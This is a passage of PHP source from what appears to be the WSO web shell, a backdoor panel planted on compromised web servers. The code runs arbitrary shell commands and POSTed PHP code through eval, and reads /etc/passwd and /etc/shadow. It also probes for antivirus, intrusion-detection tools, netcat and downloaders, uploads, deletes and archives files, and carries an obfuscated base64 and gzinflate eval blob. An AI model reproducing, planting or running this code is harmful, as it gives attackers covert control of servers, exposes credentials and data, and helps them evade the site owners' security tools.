. \'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';eval(gzinflate(base64_decode(\'dZJNc5swEIb/iieTQ3ITuInLZHrAuBIrx9SA+dLFAxbBssRHQxMX//qqJk4y0+lhR6PZffTuu6vrrn3+tS1Ew7d88m1yRV3W7UyFssG2wAmefGStQ6RwMlAzT72OuyuRbnrPqVUNTiV5rU55GhxggXQ9iGU4ny38ttLsWE9Wlc5Vq4VmhF1d3i+mUK1DW6aGhyPFdPQikrG3MQKcIvw9wDDqnBmuMn2CY//DhDiIImzBxvAiUOii3RV1e67/q02xtQlimugoQFEcxTGOjOApjin9xKAspQ1L/TOzq/GUp7RnJD4UZqCWTjBlCbxQol5yIS/MT54ERvGmA0r3qbyWJb97IHvEXfv+cfgqOcEDM2MEhN59zMUa4PDmj9BX5sqLP+E3cfND2P/l1oQOawFjD+S8hz1LjCN3ZTvOSnbg9pVPjH2eHFuosxNbzE+rKTV12DmxUJHgrnDutDckHt99HGVWW7IM5Qxc5DmNjjrud2ZUlYP9vuvl0I95OT8xfS9M6zlPohaacbelgP7jH8nZ1cOkfM3VTZH35f2XLS93LS9vrj/9vNvbhz8= \')));\n}\n \nfunction wsoFooter() {\n $is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'green\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style=\'border-top:2px solid #333;border-bottom:2px solid #333;\'>\n <tr>\n <td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n <td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n </tr><tr>\n <td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n <td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n </tr><tr>\n <td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n <td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n <input type=hidden name=a value=\'FilesMAn\'>\n <input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n <input type=hidden name=p1 value=\'uploadFile\'>\n <input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n <span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br ></td>\n </tr></table></div></body></html>";\n}\n \nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n function posix_getgrgid($p) {return false;} }\n \nfunction wsoEx($in) {\n $out = \'\';\n if (function_exists(\'exec\')) {\n @exec($in,$out);\n $out = @join("\\n",$out);\n } elseif (function_exists(\'passthru\')) {\n ob_start();\n @passthru($in);\n $out = ob_get_clean();\n } elseif (function_exists(\'system\')) {\n ob_start();\n @system($in);\n $out = ob_get_clean();\n } elseif (function_exists(\'shell_exec\')) {\n $out = shell_exec($in);\n } elseif (is_resource($f = @popen($in,"r"))) {\n $out = "";\n while(!@feof($f))\n $out .= fread($f,1024);\n pclose($f);\n }\n return $out;\n}\n \nfunction wsoViewSize($s) {\n if (is_int($s))\n $s = sprintf("%u", $s);\n \n if($s >= 1073741824)\n return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n elseif($s >= 1048576)\n return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n elseif($s >= 1024)\n return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n else\n return $s . \' B\';\n}\n \nfunction wsoPerms($p) {\n if (($p & 0xC000) == 0xC000)$i = \'s\';\n elseif (($p & 0xA000) == 0xA000)$i = \'l\';\n elseif (($p & 0x8000) == 0x8000)$i = \'-\';\n elseif (($p & 0x6000) == 0x6000)$i = \'b\';\n elseif (($p & 0x4000) == 0x4000)$i = \'d\';\n elseif (($p & 0x2000) == 0x2000)$i = \'c\';\n elseif (($p & 0x1000) == 0x1000)$i = \'p\';\n else $i = \'u\';\n $i .= (($p & 0x0100) ? \'r\' : \'-\');\n $i .= (($p & 0x0080) ? \'w\' : \'-\');\n $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n $i .= (($p & 0x0020) ? \'r\' : \'-\');\n $i .= (($p & 0x0010) ? \'w\' : \'-\');\n $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n $i .= (($p & 0x0004) ? \'r\' : \'-\');\n $i .= (($p & 0x0002) ? \'w\' : \'-\');\n $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n return $i;\n}\n \nfunction wsoPermsColor($f) {\n if (!@is_readable($f))\n return \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n elseif (!@is_writable($f))\n return \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n else\n return \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n}\n \nfunction wsoScandir($dir) {\n if(function_exists("scandir")) {\n return scandir($dir);\n } else {\n $dh = opendir($dir);\n while (false !== ($filename = readdir($dh)))\n $files[] = $filename;\n return $files;\n }\n}\n \nfunction wsoWhich($p) {\n $path = wsoEx(\'which \' . $p);\n if(!empty($path))\n return $path;\n return false;\n}\n \nfunction actionSecInfo() {\n wsoHeader();\n echo \'<h1>Server security information</h1><div class=content>\';\n function wsoSecParam($n, $v) {\n $v = trim($v);\n if($v) {\n echo \'<span>\' . $n . \': </span>\';\n if(strpos($v, "\\n") === false)\n echo $v . \'<br>\';\n else\n echo \'<pre class=ml1>\' . $v . \'</pre>\';\n }\n }\n \n wsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n if(function_exists(\'apache_get_modules\'))\n wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n wsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n wsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n wsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n wsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n wsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n $temp=array();\n if(function_exists(\'mysql_get_client_info\'))\n $temp[] = "MySql (".mysql_get_client_info().")";\n if(function_exists(\'mssql_connect\'))\n $temp[] = "MSSQL";\n if(function_exists(\'pg_connect\'))\n $temp[] = "PostgreSQL";\n if(function_exists(\'oci_connect\'))\n $temp[] = "Oracle";\n wsoSecParam(\'Supported databases\', implode(\', \', $temp));\n echo \'<br>\';\n \n if($GLOBALS[\'os\'] == \'nix\') {\n wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n if(!$GLOBALS[\'safe_mode\']) {\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n echo \'<br>\';\n $temp=array();\n foreach ($userful as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Userful\', implode(\', \',$temp));\n $temp=array();\n foreach ($danger as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Danger\', implode(\', \',$temp));\n $temp=array();\n foreach ($downloaders as $item)\n if(wsoWhich($item))\n $temp[] = $item;\n wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n echo \'<br/>\';\n wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n $temp = "";\n for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n $uid = @posix_getpwuid($_POST[\'p2\']);\n if ($uid)\n $temp .= join(\':\',$uid)."\\n";\n }\n echo \'<br/>\';\n wsoSecParam(\'Users\', $temp);\n }\n }\n } else {\n wsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n wsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n wsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n }\n echo \'</div>\';\n wsoFooter();\n}\n \nfunction actionPhp() {\n if(isset($_POST[\'ajax\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\n ob_start();\n eval($_POST[\'p1\']);\n $temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\n echo strlen($temp), "\\n", $temp;\n exit;\n }\n if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\n \n wsoHeader();\n if(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\n echo \'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>\';\n ob_start();\n phpinfo();\n $tmp = ob_get_clean();\n $tmp = preg_replace(array (\n \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\n \'!td, th {(.*)}!msiU\',\n \'!<img[^>]+>!msiU\',\n ), array (\n \'\',\n \'.e, .v, .h, .h th {$1}\',\n \'\'\n ), $tmp);\n echo str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\n }\n echo \'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\\\'Php\\\',null,this.code.value);}else{g(\\\'Php\\\',null,this.code.value,\\\'\\\');}return false;"><textarea name=code class=bigarea id=PhpCode>\'.(!empty($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'</textarea><input type=submit value=Eval style="margin-top:5px">\';\n echo \' <input type=checkbox name=ajax value=1 \'.($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\').\'> send using AJAX</form><pre id=PhpOutput style="\'.(empty($_POST[\'p1\'])?\'display:none;\':\'\').\'margin-top:5px;" class=ml1>\';\n if(!empty($_POST[\'p1\'])) {\n ob_start();\n eval($_POST[\'p1\']);\n echo htmlspecialchars(ob_get_clean());\n }\n echo \'</pre></div>\';\n wsoFooter();\n}\n \nfunction actionFilesMan() {\n if (!empty ($_COOKIE[\'f\']))\n $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n \n if(!empty($_POST[\'p1\'])) {\n switch($_POST[\'p1\']) {\n case \'uploadFile\':\n if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n echo "Can\'t upload!";\n break;\n case \'mkdir\':\n if(!@mkdir($_POST[\'p2\']))\n echo "Can\'t create!";\n break;\n case \'delete\':\n function deleteDir($path) {\n $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n $dh = opendir($path);\n while ( ($item = readdir($dh) ) !== false) {\n $item = $path.$item;\n if ( (basename($item) == "..") || (basename($item) == ".") )\n continue;\n $type = filetype($item);\n if ($type == "dir")\n deleteDir($item);\n else\n @unlink($item);\n }\n closedir($dh);\n @rmdir($path);\n }\n if(is_array(@$_POST[\'f\']))\n foreach($_POST[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n $f = urldecode($f);\n if(is_dir($f))\n deleteDir($f);\n else\n @unlink($f);\n }\n break;\n case \'paste\':\n if($_COOKIE[\'act\'] == \'copy\') {\n function copy_paste($c,$s,$d){\n if(is_dir($c.$s)){\n mkdir($d.$s);\n $h = @opendir($c.$s);\n while (($f = @readdir($h)) !== false)\n if (($f != ".") and ($f != ".."))\n copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n } elseif(is_file($c.$s))\n @copy($c.$s, $d.$s);\n }\n foreach($_COOKIE[\'f\'] as $f)\n copy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n } elseif($_COOKIE[\'act\'] == \'move\') {\n function move_paste($c,$s,$d){\n if(is_dir($c.$s)){\n mkdir($d.$s);\n $h = @opendir($c.$s);\n while (($f = @readdir($h)) !== false)\n if (($f != ".") and ($f != ".."))\n copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n } elseif(@is_file($c.$s))\n @copy($c.$s, $d.$s);\n }\n foreach($_COOKIE[\'f\'] as $f)\n @rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n } elseif($_COOKIE[\'act\'] == \'zip\') {\n if(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n if ($zip->open($_POST[\'p2\'], 1)) {\n chdir($_COOKIE[\'c\']);\n foreach($_COOKIE[\'f\'] as $f) {\n if($f == \'..\')\n continue;\n if(@is_file($_COOKIE[\'c\'].$f))\n $zip->addFile($_COOKIE[\'c\'].$f, $f);\n elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n foreach ($iterator as $key=>$value) {\n $zip->addFile(realpath($key), $key);\n }\n }\n }\n chdir($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n } elseif($_COOKIE[\'act\'] == \'unzip\') {\n if(class_exists(\'ZipArchive\')) {\n $zip = new ZipArchive();\n foreach($_COOKIE[\'f\'] as $f) {\n if($zip->open($_COOKIE[\'c\'].$f)) {\n $zip->extractTo($GLOBALS[\'cwd\']);\n $zip->close();\n }\n }\n }\n } elseif($_COOKIE[\'act\'] == \'tar\') {\n chdir($_COOKIE[\'c\']);\n $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n chdir($GLOBALS[\'cwd\']);\n }\n unset($_COOKIE[\'f\']);\n setcookie(\'f\', \'\', time() - 3600);\n break;\n default:\n if(!empty($_POST[\'p1\'])) {\n WSOsetcookie(\'act\', $_POST[\'p1\']);\n WSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n WSOsetcookie(\'c\', @$_POST[\'c\']);\n }\n break;\n }\n }\n wsoHeader();\n echo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n $dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n if($dirContent === false) { echo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n global $sort;\n $sort = array(\'name\', 1);\n if(!empty($_POST[\'p1\'])) {\n if(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n $sort = array($match[1], (int)$match[2]);\n }\necho "<script>\n function sa() {\n for(i=0;i<d.files.elements.length;i++)\n if(d.files.elements[i].type == \'checkbox\')\n d.files.elements[i].checked = d.files.elements[0].checked;\n }\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n $dirs = $files = array();\n $n = count($dirContent);\n for($i=0;$i<$n;$i++) {\n $ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n $gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n $tmp = array(\'name\' => $dirContent[$i],\n \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n );\n if(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n $files[] = array_merge($tmp, array(\'type\' => \'file\'));\n elseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n $dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n elseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n $dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n }\n $GLOBALS[\'sort\'] = $sort;\n function wsoCmp($a, $b) {\n if($GLOBALS[\'sort\'][0] != \'size\')\n return strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n else\n return (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\n }\n usort($files, "wsoCmp");\n usort($dirs, "wsoCmp");\n $files = array_merge($dirs, $files);\n $l = 0;\n foreach($files as $f) {\n echo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\n .\'</td><td><a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\n $l = $l?0:1;\n }\n echo "<tr><td colspan=7>\n <input type=hidden name=a value=\'FilesMan\'>\n <input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\n <input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\n <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\n if(class_exists(\'ZipArchive\'))\n echo "<option value=\'zip\'>Compress (zip)</option><option value=\'unzip\'>Uncompress (zip)</option>";\n echo "<option value=\'tar\'>Compress (tar.gz)</option>";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\n echo "<option value=\'paste\'>Paste / Compress</option>";\n echo "</select> ";\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\n echo "file name: <input type=text name=p2 value=\'wso_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'> ";\n echo "<input type=\'submit\' value=\'>>\'></td></tr></form></table></div>";\n wsoFooter();\n}\n \nfunction actionStringTools() {\n if(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\n if(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}\n if(!function_exists(\'ascii2hex\')) {function ascii2hex($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= sprintf(\'%02X\',ord($p[$i]));return strtoupper($r);}}\n if(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\n $stringTools = array(\n \'Base64 encode\' => \'base64_encode\',\n \'Base64 decode\' => \'base64_decode\',\n \'Url encode\' => \'urlencode\',\n \'Url decode\' => \'urldecode\',\n \'Full urlencode\' => \'full_urlencode\',\n \'md5 hash\' => \'md5\',\n \'sha1 hash\' => \'sha1\',\n \'crypt\' => \'crypt\',\n \'CRC32\' => \'crc32\',\n \'ASCII to HEX\' => \'ascii2hex\',\n \'HEX to ASCII\' => \'hex2ascii\',\n \'HEX to DEC\' => \'hexdec\',\n \'HEX to BIN\' => \'hex2bin\',\n \'DEC to HEX\' => \'dechex\',\n \'DEC to BIN\' => \'decbin\',\n \'BIN to HEX\' => \'binhex\',\n \'BIN to DEC\' => \'bindec\',\n \'String to lower case\' => \'strtolower\',\n \'String to upper case\' => \'strtoupper\',\n \'Htmlspecialchars\' => \'htmlspecialchars\',\n \'String length\' => \'strlen\',\n );\n if(isset($_POST[\'ajax\'])) {\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\n ob_start();\n if(in_array($_POST[\'p1\'], $stringTools))\n echo $_POST[\'p1\']($_POST[\'p2\']);\n $temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\n echo strlen($temp), "\\n", $temp;\n exit;\n }\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\n wsoHeader();\n echo \'<h1>String conversions</h1><div class=content>\';\n echo "<form name=\'toolsForm\' onSubmit=\'if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;\'><select name=\'selectTool\'>";\n foreach($stringTools as $k => $v)\n echo "<option value=\'".htmlspecialchars($v)."\'>".$k."</option>";\n echo "</select><input type=\'submit\' value=\'>>\'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']?\'checked\':\'\')."> send using AJAX<br><textarea name=\'input\' style=\'margin-top:5px\' class=bigarea>".(empty($_POST[\'p1\'])?\'\':htmlspecialchars(@$_POST[\'p2\']))."</textarea></form><pre class=\'ml1\' style=\'".(empty($_POST[\'p1\'])?\'display:none;\':\'\')."margin-top:5px\' id=\'strOutput\'>";\n if(!empty($_POST[\'p1\'])) {\n if(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\n }\n echo"</pre></div><br><h1>Search files:</h1><div class=content>\n <form onsubmit=\\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\\"><table cellpadding=\'1\' cellspacing=\'0\' width=\'50%\'>\n <tr><td width=\'1%\'>Text:</td><td><input type=\'text\' name=\'text\' style=\'width:100%\'></td></tr>\n <tr><td>Path:</td><td><input type=\'text\' name=\'cwd\' value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\' style=\'width:100%\'></td></tr>\n <tr><td>Name:</td><td><input type=\'text\' name=\'filename\' value=\'*\' style=\'width:100%\'></td></tr>\n <tr><td></td><td><input type=\'submit\' value=\'>>\'></td></tr>\n </table></form>";\n \n function wsoRecursiveGlob($path) {\n if(substr($path, -1) != \'/\')\n $path.=\'/\';\n $paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\n if(is_array($paths)&&@count($paths)) {\n foreach($paths as $item) {\n if(@is_dir($item)){\n if($path!=$item)\n wsoRecursiveGlob($item);\n } else {\n if(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\n echo "<a href=\'#\' onclick=\'g(\\"FilesTools\\",null,\\"".urlencode($item)."\\", \\"view\\",\\"\\")\'>".htmlspecialchars($item)."</a><br>";\n }\n }\n }\n }\n if(@$_POST[\'p3\'])\n wsoRecursiveGlob($_POST[\'c\']);\n echo "</div><br><h1>Search for hash:</h1><div class=content>\n <form method=\'post\' target=\'_blank\' name=\'hf\'>\n <input type=\'text\' name=\'hash\' style=\'width:200px;\'><br>\n <input type=\'hidden\' name=\'act\' value=\'find\'/>\n <input type=\'button\' value=\'hashcracking.ru\' onclick=\\"document.hf.action=\'https://hashcracking.ru/index.php\';document.hf.submit()\\"><br>\n <input type=\'button\' value=\'md5.rednoize.com\' onclick=\\"document.hf.action=\'http://md5.rednoize.com/?q=\'+document.hf.hash.value+\'&s=md5\';document.hf.submit()\\"><br>\n <input type=\'button\' value=\'crackfor.me\' onclick=\\"document.hf.action=\'http://crackfor.me/index.php\';document.hf.submit()\\"><br>\n </form></div>";\n wsoFooter();\n}\n \nfunction actionFilesTools() {\n if( isset($_POST[\'p1\']) )\n $_POST[\'p1\'] = urldecode($_POST[\'p1\']);\n if(@$_POST[\'p2\']==\'download\') {\n if(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\n ob_start("ob_gzhandler", 4096);\n header("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\n if (function_exists("mime_content_type")) {\n $type = @mime_content_type($_POST[\'p1\']);\n header("Content-Type: " . $type);\n } else\n header("Content-Type: application/octet-stream");\n $fp = @fopen($_POST[\'p1\'], "r");\n if($fp) {\n while(!@feof($fp))\n echo @fread($fp, 1024);\n fclose($fp);\n }\n }exit;\n }\n if( @$_POST[\'p2\'] == \'mkfile\' ) {\n if(!file_exists($_POST[\'p1\'])) {\n $fp = @fopen($_POST[\'p1\'], \'w\');\n if($fp) {\n $_POST[\'p2\'] = "edit";\n fclose($fp);\n }\n }\n }\n wsoHeader();\n echo \'<h1>File tools</h1><div class=content>\';\n if( !file_exists(@$_POST[\'p1\']) ) {\n echo \'File not exists\';\n wsoFooter();\n return;\n }\n $uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\n if(!$uid) {\n $uid[\'name\'] = @fileowner($_POST[\'p1\']);\n $gid[\'name\'] = @filegroup($_POST[\'p1\']);\n } else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\n echo \'<span>Name:</span> 